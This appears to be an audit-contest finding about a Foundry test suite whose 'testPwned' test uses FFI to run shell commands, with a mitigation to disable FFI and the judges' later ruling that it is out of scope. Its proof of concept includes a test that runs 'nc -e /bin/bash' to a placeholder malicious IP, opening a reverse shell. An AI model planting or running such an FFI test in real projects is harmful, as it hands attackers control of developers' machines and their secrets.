Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Malicious Test with FFI, potentially opening reverse shell on the user’s computer

Description

The test suite contains a function called testPwned that has the ability to run any commands on the user's computer. This poses a substantial security threat, as these commands have the potential to retrieve confidential information, create a reverse shell for remote manipulation, look for passwords, or introduce malicious software.

This particular test, named testPwned exhibits malicious behavior despite its seemingly harmless action of creating a file called youve-been-pwned-remember-to-turn-off-ffi!. There is no legitimate reason for this test to exist other than to engage in malicious activities.

function testPwned() public {
string[] memory cmds = new string[](2);
cmds[0] = "touch";
cmds[1] = string.concat("youve-been-pwned-remember-to-turn-off-ffi!");
cheatCodes.ffi(cmds);
}

The proof of concept below demonstrates how this kind of test can open a reverse shell, granting an attacker full control over the user's machine.

Impact

This issue is classified as high severity due to the direct threat it poses to hawkers and developers.

The current implementation of this test is harmful, as it is being used in a security context. However, we can assume that the intended purpose of this functionality is to be harmful.

It has the potential to result in data breaches, including the exposure of private keys and passwords, unauthorized remote code execution, and the potential destruction of operating systems.

Proof of Concept

Foundry PoC
function testReverseShell() public {
string[] memory cmds = new string[](3);
cmds[0] = "bash";
cmds[1] = "-c";
cmds[2] = "nc -e /bin/bash <MALICIOUS_IP> <PORT>";
cheatCodes.ffi(cmds);
}

Recommended Mitigation

In this project, FFI is not useful, disable it in foundry.toml :

-ffi = true
+ffi = false

Before running forge test or any third-party programs on your system, it is crucial to ensure that you trust the source and, if possible, verify that all necessary security measures are in place to guarantee your safety. Specifically for Foundry, make sure that FFI (Foreign Function Interface) is disabled before executing any commands. If enabling FFI is necessary, thoroughly examine and verify the specific commands that will be used to mitigate potential risks.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

testPwned: ffi enabled for test

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.